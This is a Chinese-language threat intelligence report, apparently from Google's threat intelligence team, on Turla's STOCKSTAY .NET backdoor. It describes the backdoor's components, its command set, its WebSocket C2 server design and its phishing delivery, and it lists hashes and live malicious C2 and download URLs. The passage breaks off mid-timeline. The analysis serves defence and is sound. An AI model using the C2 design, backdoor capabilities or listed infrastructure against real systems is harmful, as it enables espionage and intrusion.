STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus

TL;DR · AI 摘要
Turla组织新增STOCKSTAY后门,用于针对乌克兰及意大利政府机构的网络间谍活动,与KAZUAR工具包有显著代码重叠。
核心要点
- STOCKSTAY使用.NET编写,通过WebSocket与C2通信,伪装成股票市场工具。
- Turla组织自2022年以来持续开发STOCKSTAY,目标包括乌克兰和意大利政府机构。
- STOCKSTAY与KAZUAR工具包有显著代码重叠,表明Turla在不断升级其网络间谍能力。
结构提纲
按章节快速跳转。
思维导图
用一张图看清主题之间的关系。
查看大纲文本(无障碍 / 无 JS 友好)
- STOCKSTAY后门分析
- Turla组织背景
- 归因于俄罗斯FSB的Center 16
- 自2004年起活跃
- STOCKSTAY特性
- 使用.NET和WebSocket通信
- 伪装成股票市场工具和其他良性应用
- 攻击目标
- 乌克兰政府和军事组织
- 意大利外交政策相关实体
金句 / Highlights
值得收藏与分享的关键句。
STOCKSTAY使用.NET编写,通过WebSocket与C2通信,利用WM_COPYDATA消息进行IPC。
Turla组织自2022年以来持续开发STOCKSTAY,目标包括乌克兰和意大利政府机构。
STOCKSTAY与KAZUAR工具包有显著代码重叠,表明Turla在不断升级其网络间谍能力。
Turla情报收集装置的最新补充 | Google Cloud 博客
威胁情报
STOCKSTAY 又一天:Turla情报收集装置的最新补充
2026年6月26日
##### Google威胁情报小组
##### Google威胁情报
了解最关键威胁的可见性和上下文。
联系我们并获取演示
作者:Jordan Jones
介绍
Google威胁情报小组(GTIG)对一个名为STOCKSTAY的.NET后门进行了深入分析,该后门自2022年12月起一直由与俄罗斯有关的威胁行为者Turla(又称SUMMIT、Secret Blizzard、VENOMOUS BEAR、UAC-0194)持续开发和部署。Turla已将STOCKSTAY部署于乌克兰的政府和军事组织,以及对意大利外交政策感兴趣的实体。该后门用于持续的网络间谍活动,与之前归因于Turla的成功工具包KAZUAR在代码和功能上存在显著重叠。该组织有着长期针对各种行业的历史,尤其关注西方外交部门以及在政治紧张局势加剧背景下的国防组织。
Turla,特别是其长期使用的Snake植入物,已被美国网络安全和基础设施安全局(CISA)公开归因于俄罗斯联邦安全局(FSB)的第16中心。Turla是有记录以来最古老的网络间谍组织之一,其可疑活动可追溯至至少2004年。该行为者仍然活跃,并不断改进其交付方法,如通过部署专用脚本拦截Signal Messenger用户的加密通信,劫持遗留的犯罪僵尸网络以针对乌克兰组织,以及最近使用高度复杂的KAZUAR工具包针对军事防御部门的活动。作为我们对该组织的持续追踪的一部分,本文提供了我们对STOCKSTAY的分析概述,包括关键发展和操作观察的时间线,并探讨其与KAZUAR的相似之处,以将这一新能力置于Turla不断增长的武器库中。
STOCKSTAY概述
STOCKSTAY是一个使用.NET编写的多组件后门,使用Windows Forms框架,通过安全的WebSocket连接与其命令和控制(C2)通信,使用开源的websocket-sharp库。STOCKSTAY由多个不同的组件组成,这些组件通过基于WM_COPYDATA消息交换的进程间通信(IPC)通道进行通信。
STOCKSTAY最初被设计为伪装成股票市场数据查看工具,这种伪装体现在其文件命名方案以及其存储植入配置、控制消息和响应数据的方式中。虽然GTIG观察到的初始版本的恶意软件保留了这种伪装的内部方面,但在2025年,我们发现了伪装成其他良性应用程序的STOCKSTAY变种,例如PDF查看器和计算器实用工具。
图1:STOCKSTAY恶意软件架构概述
#### STOCKSTAY.STOCKBROKER
STOCKSTAY.STOCKBROKER 是一个支持代理的隧道工具,为更广泛的 STOCKSTAY 生态系统提供网络通信功能。STOCKSTAY.STOCKBROKER 在内部被称为“net”,可以被指令建立到指定远程服务器的安全 WebSocket 连接,之后它会充当服务器与 STOCKSTAY.STOCKMARKET 协调器之间的中继。因此,STOCKSTAY 与配置的 C2 服务器之间的所有 C2 通信都由 STOCKSTAY.STOCKBROKER 处理,从而将恶意软件的网络通信与其他恶意基于主机的活动在受感染的机器上隔离。
#### STOCKSTAY.STOCKMARKET
STOCKSTAY.STOCKMARKET 在内部被称为“cor”,是 STOCKSTAY 生态系统的协调器,使植入物具有可配置性。恶意软件的配置是从一个加密的磁盘配置文件中加载的,该配置文件指定了有关恶意软件执行的多个选项,包括 STOCKSTAY.STOCKBROKER 所需的远程 WebSocket 服务器的详细信息。配置文件试图通过包含与加密货币市场相关的各种合法 URL,以及每个配置字段的虚假描述来伪装成一个合法文件(图 2)。加密的配置数据嵌入在诱饵字段中,由 STOCKSTAY.STOCKMARKET 解密。
{
"Name": "StockMarket",
"Description": "一个用于获取交易平台上当前事件信息的应用程序。要设置更新信息的时间,请在 `Interval` 字段中输入以分钟为单位的值。将来将添加主题的支持。`SystemConfiguration` 字段存储应用程序的系统设置。在 `services` 字段中,填写提供 `WebSocket protocol` 的服务地址列表。",
"Theme": "Dark",
"SystemConfiguration": [
"1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
"6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
"4.4.3.12"
],
"Interval": 10,
"Services": [
"wss://ws-api.binance.com:443/ws-api/v3",
"wss://ws-feed.exchange.coinbase.com",
"wss://ws-feed-public.sandbox.exchange.coinbase.com",
"wss://stream.bybit.com/v5/public/spot",
"wss://stream.bybit.com/v5/public/linear"
],
"Version": "2022-12-21"
}图 2:加密的 STOCKSTAY 配置文件格式,错误地描述为一个用于获取交易信息的应用程序
{
"internal_id": "<server_identifier>",
"internal_key": "<server_public_key>",
"interval_engine": "600000",
"level_info": "0",
"time_scale": "1",
"span_min": "9",
"span_max": "18",
"rate": "2700",
"rate_control": "false",
"service": "<websocket_c2_url>",
"days_not_work": "Saturday;Sunday;",
"system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}图 3:解密后的 STOCKSTAY 配置文件格式(从 SystemConfiguration 字段中提取)
STOCKSTAY.STOCKMARKET 与 STOCKSTAY.STOCKBROKER 通信,以提供 WebSocket 服务器的详细信息,并通过建立的 WebSocket 连接发送和接收消息,通常包含执行命令的结果。STOCKSTAY.STOCKMARKET 还与 STOCKSTAY.STOCKTRADER 组件通信,以向受感染的主机发出要执行的命令。
首次执行时,STOCKSTAY.STOCKMARKET 会生成一组唯一的 4096 位 RSA 密钥对,该密钥对在整个植入程序的生命周期中用于在通过 WebSocket 发送数据之前对传出数据进行加密。植入程序的公钥会在恶意软件的首次请求中发送至服务器,以便服务器能够解密任务响应。STOCKSTAY.STOCKMARKET 还会生成一个唯一的感染标识符,供 C2 服务器使用以确定任务的目标接收者。STOCKSTAY 的配置文件中指定了一个“internal_id”字段,GTIG 认为该字段代表恶意软件生态系统服务器端组件的标识符。我们评估认为,该标识符被恶意软件的操作员用于从可能被多个操作员使用的中间 C2 服务器检索响应。截至目前,GTIG 仅观察到该标识符的一个唯一值,由于遥测数据不足,无法确定目前是否有多位操作员正在使用 STOCKSTAY。
#### STOCKSTAY.STOCKTRADER
STOCKSTAY.STOCKTRADER 在内部被称为“sys”,是 STOCKSTAY 生态系统中的后门组件,支持在受感染的主机上执行一系列注册表、文件和命令操作,如表 1 所述。
任务命令名称
描述
Del
删除指定的文件。
需要一个以分号分隔的文件路径列表,每个路径对应的文件都将被删除。每个已删除文件或删除失败的确认信息将返回至 C2。
Dir
生成指定目录的列表。
需要一个以分号分隔的目录路径列表,每个目录将被枚举,所有包含的文件和子目录的路径将返回至 C2。
可选择执行递归目录列表。
Get
检索一个或多个指定的文件。允许收集具有特定扩展名的文件。
需要一个以分号分隔的文件或目录路径列表,以及目标文件扩展名列表。如果列表中包含文件路径,将返回该文件。如果列表中包含目录路径,恶意软件将对该目录执行可选的递归搜索,以识别与目标文件扩展名匹配的文件。
所有与指定文件路径或目标文件扩展名匹配的文件都将添加到内存中的 ZIP 存档中,并随后进行 base64 编码以传输至 C2。
Image
对受害者的屏幕进行截图。
生成的图像将进行 base64 编码以传输至 C2。
MkDir
创建一个或多个目录。
需要一个以分号分隔的目录路径列表,每个路径对应的目录都将被创建。每个创建的目录的确认信息或任何相关错误信息将返回至 C2。
MultyTask
一次处理多个任务。
需要一个以分号分隔的任务列表,每个任务必须是一个包含单个任务的序列化 JSON 对象。
每个任务依次提交至恶意软件的命令管理器,所有命令的输出将被丢弃;在同时处理多个任务时,不会向 C2 返回任何数据。
Put
将文件上传到设备。
需要将文件内容的 base64 编码字符串写入指定的文件路径。所需的文件写入操作以“追加”模式执行。
文件上传的确认信息或任何相关错误的详细信息将返回至 C2。
RegDelete
删除注册表值。
需要指定注册表键和对应的值名称以进行删除。
RegRead
读取注册表值。
需要指定注册表键和对应的值名称进行读取。
RegWrite
设置注册表值。
需要指定注册表键和对应的值名称,以及用于填充注册表值的值和数据类型。
RmDir
删除指定的目录。
需要以分号分隔的目录路径列表,每个目录都将被删除。每个被删除的目录或删除失败的信息将返回给 C2。
Run
执行一个新的进程。
需要指定要执行的文件路径及其对应的参数。恶意软件中硬编码了一个默认的 60 秒超时时间,但可以通过任务配置进行覆盖。
所有子进程都是无窗口创建,并且标准输出被重定向。
Sysinfo
进行系统调查,以收集有关受感染主机的关键信息。
操作系统信息通过 Windows 管理工具(WMI)ManagementObjectSearcher 收集,具体包括以下字段:
- OSVersion
- Architecture
- SerialNumber
- CodeSet
- CountryCode
- Locale
- InstallDate
- BootupTime
- MachineName
- SystemDirectory
- LocalTime
- AnsiCodePage
- UserName
关于硬件,WMI 查询以下内容:
- ProcessorName
- NumberCores
- ClockSpeed
- MemoryCapacity
- MemoryType
- DiskModel
- DiskSize
恶意软件还会捕获当前运行进程的名称列表。
UnpackArchive
将指定的 ZIP 文件提取到当前目录。
表 1:STOCKSTAY.STOCKTRADER 支持的后门命令
#### 相关下载器和安装器
##### STOCKSTAY.MARKETMAKER
STOCKSTAY.MARKETMAKER 是一个使用 .NET 和 Windows Forms 框架编写的代理感知下载器,能够从远程服务器下载并提取额外的有效载荷,通过修改 Windows 注册表建立持久性,并在后台静默运行,没有任何用户界面。该下载器曾被观察到伪装成 "MicrosoftUpdateOneDrive" 以显得合法,同时设置多个自动运行条目以执行 STOCKSTAY 的核心组件。
##### .NET AppDomainManager
在我们的分析过程中,GTIG 识别出我们认为是 STOCKSTAY.MARKETMAKER 的早期开发样本,该样本没有下载所需组件,而是依赖于外部机制(如 .NET AppDomainManager 注入)来将样本首次部署到目标主机。
#### STOCKSTAY 服务器端控制器
GTIG 识别出一个公开可访问的 GitHub 仓库,其中包含一个 Python 实现的 STOCKSTAY WebSocket 服务器控制器,面向受害者。服务器组件的轻量级设计似乎补充了威胁行为者使用第三方托管平台(如 Render 平台,提供托管网络服务的平台,包括 WebSockets)的情况。服务器无法解密传入消息,这阻止了平台操作员进行内省,并进一步模糊了威胁行为者专用基础设施的位置。这种架构在某种程度上类似于 Turla 的多跳 KAZUAR C2 基础设施。
图 4:STOCKSTAY C2 基础设施概览
服务器扩展 tornado.websocket.WebSocketHandler 以提供表 2 中描述的接口,路径为 /ws;与所有观察到的 STOCKSTAY WebSocket C2 URL 一致。
事件
WebSocketHandler.check_origin
硬编码为返回 True,以接受所有跨域流量。
WebSocketHandler.open
使用以下字符串格式记录客户端的 IP 地址:
WebSocket 连接打开。IP: {client_ip}
WebSocketHandler.on_message
处理来自已连接客户端的入站消息。
入站消息在被解析为 JSON 对象之前会先进行 base64 解码,该对象在内部被称为“package”。
每个“package”包含一个“action”和一个“container”,分别提供请求的类型和相关数据。以下描述了每种操作类型的处理逻辑。
Action: send
服务器从入站消息的“container”中提取以下属性,并将其插入本地 weather_data 数据库表的新行中。
container.target
- STOCKSTAY 客户端将此字段填充为配置文件中的 internal_id 或 i_id 字段。
container.sender
- STOCKSTAY 客户端将此字段填充为首次执行时生成的唯一客户端 uuid。
container.message
- 此字段包含以 STOCKSTAY 客户端内部称为“CryptoContainer”的格式加密的消息正文。
完成之后,服务器记录以下信息:
Action: send; trgt={target_id}; sndr={sender_id}
Action: recv
入站的 recv 请求只需指定 container.sender 属性,该属性对应于客户端的唯一标识符。
然后,服务器从 weather_data 数据库表中检索所有目标标识符(“degrees”列)与指定 container.sender 匹配的消息。这使得客户端能够检索所有发送给它的消息,例如上游 C2 控制器发送给服务器的消息。
每个匹配的行以以下格式返回给客户端,然后从数据库中删除。
{
"target": degrees,
"sender": pressure,
"message": wdata,
"ip": coords,
"time": datetime
}Action: recv; sndr={sender}
WebSocketHandler.on_close
WebSocket 连接关闭。IP: {client_ip}
表 2:STOCKSTAY WebSocket 服务器接口概览
#### 数据库结构
服务器在文件名 weather_data1.db 下维护一个本地 SQLite3 数据库,其结构如表 3 和表 4 所示。
列名
id
主键
degrees
来自 container.target 的接收者 UUID
pressure
来自 container.sender 的发送者 UUID
wdata
来自 container.message 的消息数据
coords
来自 X-Forwarded-For 请求头的发送者 IP 地址,如果没有指定发送者则为 none_ip。
status
默认为 0 - 看起来未被使用或返回给客户端。
datetime
行创建时间
表 3:weather_data 数据库表结构
data
日志消息
创建时间
表 4:log 数据库表结构
关键操作特征
#### 持续使用学术或外交诱饵内容
参与 STOCKSTAY 操作的威胁行为者似乎倾向于将学术和外交内容整合到其基础设施和诱饵/诱骗内容中,包括:
- 黑入属于乌克兰大学的电子邮件账户以分发钓鱼邮件;
- 在恶意 RDP 文件的文件名中使用学术机构的名称;
- 黑入外交教育平台以进行钓鱼和分发恶意 RDP 文件;
- 在注册的钓鱼域名中使用“education”和“diplo”;以及
- 在 STOCKSTAY MSI 文件中使用“DiplomacyEduAI”作为产品名称。
#### 持续针对乌克兰目标
GTIG 观察到的 STOCKSTAY 操作中,有相当一部分目标是乌克兰境内的政府或军事组织,这与俄罗斯在两国持续冲突中的利益一致。攻击者被观察到利用国内被入侵的基础设施(包括被入侵的政府服务)来部署 STOCKSTAY 以及一系列补充载荷,以支持这些操作。
#### 可能针对欧洲实体
GTIG 观察到的 STOCKSTAY 操作中,有较少数量的目标似乎针对欧洲实体。STOCKSTAY 的早期开发样本在多个欧洲国家被发现,包括意大利、荷兰、波兰和德国;然而,我们大多无法确认这些早期感染的预期受害者,也难以确定这些样本是否是攻击者在使用公开可用的病毒扫描服务(如 VirusTotal)测试其能力时被发现的。在至少一个案例中,GTIG 能够确认针对与欧洲某国外交部有关联或感兴趣的实体,涉及钓鱼攻击和疑似 STOCKSTAY 活动。
#### 通过恶意 RDP 文件部署
GTIG 观察到 STOCKSTAY 在成功使用恶意 RDP 配置文件进行钓鱼攻击后被部署。这些 RDP 文件被设计用于从受害者的设备连接到攻击者控制的基础设施,攻击者随后可以通过该基础设施部署后续载荷。
在 2025 年初的一次操作中,GTIG 识别出一封声称由一家与国防相关的培训学院发送的钓鱼邮件,其中包含一个恶意 RDP 文件附件。受害者连接到攻击者的基础设施后不久,攻击者部署了 STOCKSTAY.MARKETMAKER,这是一个用于从受害设备下载并安装完整 STOCKSTAY 套件的 .NET 下载器。
随后,在 2025 年中,GTIG 识别出类似的恶意 RDP 文件被托管在一个被入侵的外交主题教育平台上,诱使受害者下载并执行该文件,以获取在线培训门户的访问权限。GTIG 无法确认 STOCKSTAY 是否最终因此次操作被部署;然而,两次操作中攻击者基础设施和教育主题诱饵的重叠可能表明 STOCKSTAY 是预期的载荷。
#### 在操作的多个阶段进行部署
通过 GTIG 的可见性,我们发现攻击者在操作的多个不同阶段使用 STOCKSTAY。
首先,在某些操作中,攻击者在尚未受到该组织侦察活动影响的环境中使用 STOCKSTAY 获得初始访问权限。在这些情况下,STOCKSTAY 配置了硬编码的配置密码,这些密码可以被分析师轻易提取。我们观察到这种类型的感染来自该组织的钓鱼操作,其中攻击者无法确切知道在受害者的网络中将从何处获得初始立足点。
当威胁行为者在操作的后期阶段部署 STOCKSTAY(在侦察之后),STOCKSTAY 会配置为使用环境密钥来保护其配置,这意味着恶意软件必须在特定的主机上、由特定的用户执行、在特定的域内,或满足这些属性的预设组合之一。这种配置表明,此时行为者已经确切地知道目标机器,很可能是通过对目标环境的现有访问权限。在乌克兰网络中曾观察到这种情况,STOCKSTAY 在操作接近尾声时被部署,而此前该操作主要依赖于该组织的其他工具,如 KAZUAR。
与 KAZUAR 的重叠
#### K1MORPHER 字符串混淆
2025 年 4 月,GTIG 观察到 STOCKSTAY 被更新,以实现一种新的字符串混淆机制,该机制基于一种名为“Squirrel3”的晦涩伪随机数生成算法,该算法在 2017 年的 Game Developers Conference 上曾被介绍过。
随后,GTIG 识别出 STOCKSTAY 的某些版本中包含了一些原始的类名,表明负责运行时字符串解混淆的代码被包含在一个名为“K1.Morpher”的类中。对 K1MORPHER 的分析表明,它能够对多种数据类型(如字符串、整数和数组)执行运行时解混淆。
2025 年 6 月,GTIG 发现 K1MORPHER 的代码出现在 KAZUAR 的样本中。KAZUAR 历来使用其自身的简单但有效的代码和字符串混淆技术来逃避检测,例如:插入垃圾代码;将静态常量值替换为异或操作的结果;以及大量唯一的字符替换表。行为者在 STOCKSTAY 中使用 K1MORPHER 的趋势似乎是在模仿 KAZUAR 的多类混淆技术,其中混淆由多个不同的类处理,如在 2024 年 4 月托管在被入侵的塞浦路斯网站上的 STOCKSTAY 测试构建版本中所观察到的那样。
#### 植入架构
至少自 2024 年以来,KAZUAR 被观察到使用多组件架构进行部署,其中 C2 通信、任务编排和任务执行由不同的组件管理。在 KAZUAR 生态系统中,这些组件分别被称为“BRIDGE”、“KERNEL”和“WORKER”。
截至 2023 年底,GTIG 在 STOCKSTAY 生态系统中也观察到类似的责任划分,相同的功能被划分为不同的组件。C2 通信由 GTIG 跟踪的 STOCKSTAY.STOCKBROKER 组件管理,而任务编排和执行则分别由 STOCKSTAY.STOCKMARKET 和 STOCKSTAY.STOCKTRADER 组件处理。
#### 环境密钥
KAZUAR 和 STOCKSTAY 生态系统都被观察到使用环境密钥来保护自身免受检测和分析。
DIAMONDBACK 是一个通常在 KAZUAR 之前部署的植入程序,它在解密其有效负载时使用了目标主机名的哈希值,以防止在目标环境之外泄露其意图。DIAMONDBACK 的后续版本可以配置为在解密有效负载所需的哈希中包含目标的用户名和域名。
STOCKSTAY 在解密其配置数据时被观察到使用目标主机名或域名的哈希值,除非在预期环境中运行,否则不会泄露 C2 基础设施。
#### 重叠情况总结
GTIG 中等置信度地评估认为,STOCKSTAY 和 KAZUAR 可能部分由同一开发人员或团队开发,两个恶意软件生态系统之间的开发活动是同步进行的。我们认为 STOCKSTAY 是在模仿 KAZUAR 的风格进行开发,其中一些设计决策很可能源于威胁行为者在使用这一长期工具包进行操作方面的丰富经验。两个生态系统都大量依赖于 .NET 开发,并且在操作的不同阶段都曾被观察到使用被入侵的 WordPress 网站。
我们低置信度地评估认为,我们在活跃操作中观察到 STOCKSTAY 与 KAZUAR 一同部署,可能是威胁行为者在活跃操作中测试新功能的结果,尤其是在他们预计其现有访问权限将在不久的将来被修复的情况下。
STOCKSTAY 时间线
GTIG 对 STOCKSTAY 的历史进行了深入调查,发现可疑的开发活动可追溯至 2022 年 12 月。以下是我们对 STOCKSTAY 开发和部署事件时间线的评估。为了帮助更广泛的社区在本文中提到的活动中进行狩猎和识别,我们在每个观察到的操作部分中包含了入侵指标(IOCs),并为注册用户提供了 GTI 收集。
图 5:STOCKSTAY 观察时间线
#### 2022 年 12 月
根据 MSI 文件和包含 STOCKSTAY 的 ZIP 存档中的时间戳信息,大多数观察到的 STOCKSTAY.STOCKBROKER 样本捆绑的开源 websocket-sharp.dll 版本最后一次被修改。尽管该库是开源的,但此特定实例似乎是由攻击者自己编译的,从而创建了一个可唯一识别的工件,用于跟踪该恶意软件的持续开发。
文件名
SHA-256
websocket-sharp.dll
威胁行为者使用的开源库实例
d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e
表 5:文件指标
#### 2023 年 9 月 21 日:德国
STOCKSTAY 的早期版本从德国上传至 VirusTotal,文件名为 “DriversPrinterGraphic.rar”。根据存档的时间戳,该样本似乎在创建后 20 分钟内就被提交,很可能表明这是由恶意软件的开发者提交的。
这个版本早于恶意软件拆分为基于角色的独立组件,而是将所有核心功能整合到一个可执行文件中:StockMarketNews.exe。此外,这个版本的 STOCKSTAY 包含了图 6 所示的用户界面,该界面允许查看/编辑配置选项和命令消息,同时仍表现为股票市场工具。
图 6:早期 STOCKSTAY 用户界面
这个特定的 STOCKSTAY 样本使用了略有不同的配置文件格式;然而,其底层的配置选项与后续版本保持一致。该样本还使用环境密钥来加密其配置文件;使用目标主机名的小写形式作为解密密码。GTIG 目前尚无法恢复该密码。
DriversPrinterGraphic.rar
包含 STOCKSTAY 的 RAR 存档
e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6
StockMarketNews.exe
STOCKSTAY 合并后的可执行文件
1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24
sample.conf
STOCKSTAY 配置文件
1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f
表 6:文件标识符
#### 2023 年 12 月 5 日 – 6 日:荷兰
2023 年 12 月 6 日 08:52:49,一个包含 STOCKSTAY 的进一步 RAR 存档从荷兰提交到 VirusTotal,文件名为“apps_libwallets_v1.3.rar”。该存档在前一天的 2023 年 12 月 5 日 16:47:42 最后一次修改。这种模式可能表明该存档是由个人在其工作日结束时创建,然后在第二天返回办公室时提交。
GTIG 观察到 STOCKSTAY 的这一实例是首次发现该恶意软件的核心功能被拆分为基于角色的独立组件,使用如表 7 所示的文件名。
组件
STOCKSTAY.STOCKMARKET
StockMarketView.exe
STOCKSTAY.STOCKBROKER
StockMarketNet.exe
STOCKSTAY.STOCKTRADER
StockMarketSystem.exe
表 7:2023 年 12 月观察到的 STOCKSTAY 组件文件名
与 2023 年 9 月观察到的样本类似,这一实例的 STOCKSTAY 也使用了环境密钥,但此次实例使用了目标计算机的域名作为配置密码。目前,GTIG 无法恢复该密码。
apps_libwallets_v1.3.rar
包含 STOCKSTAY 组件的 RAR 存档
81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac
STOCKSTAY.STOCKMARKET 协调器
9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec
STOCKSTAY.STOCKBROKER 隧道器
34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b
STOCKSTAY.STOCKTRADER 后门
0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b
default.conf
2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7
表 8:文件标识符
#### 2024 年 1 月:乌克兰
GTIG 审查了 Mandiant 对 2023 年底乌克兰组织被入侵事件的响应,我们观察到 Turla 将一系列工具部署到受害者的网络中,包括 WILDDAY、DIAMONDBACK 和 KAZUAR,通过从被入侵的域控制器安装恶意 GPO。该活动伴随着其他简单的脚本和后门,用于在受感染的组织中的多台机器上部署恶意软件。
在审查过程中,GTIG 在受感染的域控制器影响的主机之一上发现了 STOCKSTAY 执行的证据。多个 ZIP 存档被上传到域控制器,每个存档包含 STOCKSTAY 的一个核心组件或其配置。这些文件被发现在一个目录中,该目录用于在 STOCKSTAY 出现在主机之前和之后,存放用于安装 WILDDAY 的注册表文件,同时还用于存放来自一个未知的 Powershell 后门(iclsClient.ps1)的输出,该后门也被观察到从域控制器运行。
在此操作过程中,初始的 STOCKSTAY 配置文件与 STOCKSTAY 核心组件的可执行文件一起部署到了域控制器中,但该文件无法使用任何已知的密码或环境标识符进行解密。不久之后,Mandiant 观察到第二个配置文件被部署到域控制器,这次该文件使用与被入侵网络相关的域名称进行加密。GTIG 以中等置信度评估认为,初始配置文件的部署可能是威胁行为者的一个失误——例如部署了与不同受害者相关的配置文件——或者是在 STOCKSTAY 初始部署时捆绑了一个默认或无效的配置文件,以防止在受害者的环境中早期检测到恶意软件时泄露敏感的 C2 信息。
成功解密的配置文件定义了一个 STOCKSTAY WebSocket C2 URL:wss://wool-basalt-clock.glitch.me/ws。此外,该配置还指定了一个操作时间范围,即在受害者的系统上,从星期一到星期五的 09:00 至 18:00。这种基于时间的限制很可能是为了将 C2 通信与受害者网络中的正常业务操作混合在一起。GTIG 分析的大多数 STOCKSTAY 配置文件中都观察到了相同的时间范围。
特别值得注意的是,在此次操作的后期,Mandiant 识别到了与 KAZUAR 的一个 C2 端点相关的防火墙检测。GTIG 以较低到中等的置信度评估认为,威胁行为者可能已经意识到其 C2 存在被怀疑的风险,并部署了 STOCKSTAY 作为备用方案,以防 KAZUAR 被识别并清除,从而在 STOCKSTAY 未被发现的情况下,实现日后再次感染。
指标
wss://wool-basalt-clock.glitch.me/ws
STOCKSTAY WebSocket C2
表 9:网络指标
#### 2024 年 2 月:意大利
一个配置为安装 STOCKSTAY 的 MSI 文件于 2024 年 2 月 20 日 11:45:26 从意大利上传至 VirusTotal,文件名为 “Copia.msi”。该 MSI 文件伪装成由 ICSharpCodeTeam 开发的 ILSpy 应用程序,并包含大量合法的良性组件。该 MSI 文件在 %LOCALAPPDATA%/Programs/SMN/ 下安装了 STOCKSTAY 的核心组件,并通过注册表运行键实现了持久执行。
MSI 文件中包含的 STOCKSTAY 样本编译时间在 2024 年 1 月 29 日至 1 月 31 日之间,配置文件最后一次修改时间为 2024 年 2 月 13 日,距离提交到 VirusTotal 仅一周时间。
除了安装 STOCKSTAY 之外,该 MSI 文件还包含一个名为 “OpenUrl” 的自定义 MSI 操作。该操作在 InstallUISequence 表中的序列号为 1,表明它应在其他任何操作之前执行。该自定义操作配置为执行以下命令:
viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php查看该 URL 时,其中包含对选举(“elezioni”)的引用,以及意大利组织“Circolo Degli Esteri”(根据其官方网站 https://www.circoloesteri.it/ ,该组织成立于“代表外交部”)。我们目前并未评估该行为者直接针对意大利的选举,而是使用与选举相关的钓鱼诱饵来针对受害者。由于可见性有限,我们无法识别此次行动的早期阶段,也无法确认任何潜在相关钓鱼活动的目标身份。
Foreign Affairs Club 1936
批准 2023 年财务报表
分析已注册选民的状态(每 60 秒自动更新)...
更新时间:6:26:50
总选民人数:915
目前注册且状态为 2-tonte 的成员人数:364
目前注册且状态为 4 Ready to vote 的人数:5
目前注册且状态为 3 - 已投票的人数:46
投票率(已投票的注册选民比例):5.03%图 7:声称与意大利 Circolo Degli Esteri 相关的意大利语诱饵页面
尽管尚无定论,但这似乎表明有意针对意大利语使用者或组织部署 STOCKSTAY,特别是关注外交事务。
与之前的 STOCKSTAY 案例一致,该样本在其配置文件中使用了环境密钥。GTIG 能够恢复用于解密配置文件的域名,以识别 WebSocket C2 地址 wss://wool-basalt-clock.glitch.me/ws。这与 2024 年 1 月使用的 C2 地址一致。
Copia.msi
包含 STOCKSTAY 组件的 MSI 文件
b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff
82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb
249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb
b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a
40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50
表 10:文件指标
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php
与意大利外交部相关事务投票有关的意大利语诱饵。
表 11:网络指标
#### 2025 年 3 月 18 日 – 4 月 3 日:乌克兰
2025 年 4 月 2 日,GTIG 识别出一个被入侵的电子邮件账户发送了一封包含信息的钓鱼邮件,该信息声称来自一所乌克兰大学,涉及新远程学习环境的测试。威胁行为者在邮件中附加了一个恶意远程桌面协议(RDP)文件,打开该文件后,受害者与行为者注册的域名上托管的开放 RDP 端口(3389)之间建立了连接,该域名被选中以模仿同一学术机构。
一旦受害者连接到攻击者的基础设施,GTIG观察到攻击者将STOCKSTAY.MARKETMAKER部署到客户端。STOCKSTAY.MARKETMAKER被配置为从属于乌克兰国家监管服务的合法但被入侵的网站下载包含STOCKSTAY的ZIP文件。与大多数早期观察结果不同,此次操作中观察到的配置文件使用了硬编码密码进行保护。这似乎与此次特定操作的重点有关,即通过网络钓鱼攻击获取受害者环境的初始访问权限,攻击者可能并不知道特定的域名或主机名,因此无法用于环境密钥生成。GTIG能够通过WebSocket C2 URL wss://weatherdataai.theworkpc.com/ws 识别出恶意软件。
根据STOCKSTAY.MARKETMAKER下载的ZIP存档的元数据,此次操作中使用的STOCKSTAY核心组件最后一次修改时间在3月18日至26日之间,配置文件最后一次修改时间为3月31日。
MicrosoftUpdateOneDrive.exe
STOCKSTAY.MARKETMAKER 下载器
da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40
docs.zip
包含STOCKSTAY组件的ZIP存档
9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73
SMEditor.exe
e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722
SMNet.exe
dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22
2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0
fonts
40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3
表12:文件指标
https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip
被入侵的乌克兰国家监管服务基础设施,用于提供包含STOCKSTAY组件的ZIP存档
wss://weatherdataai.theworkpc.com/ws
表13:网络指标
#### 2025年5月14日:波兰
2025年5月14日,GTIG发现两个STOCKSTAY.STOCKBROKER样本被上传到VirusTotal,上传地点为波兰。
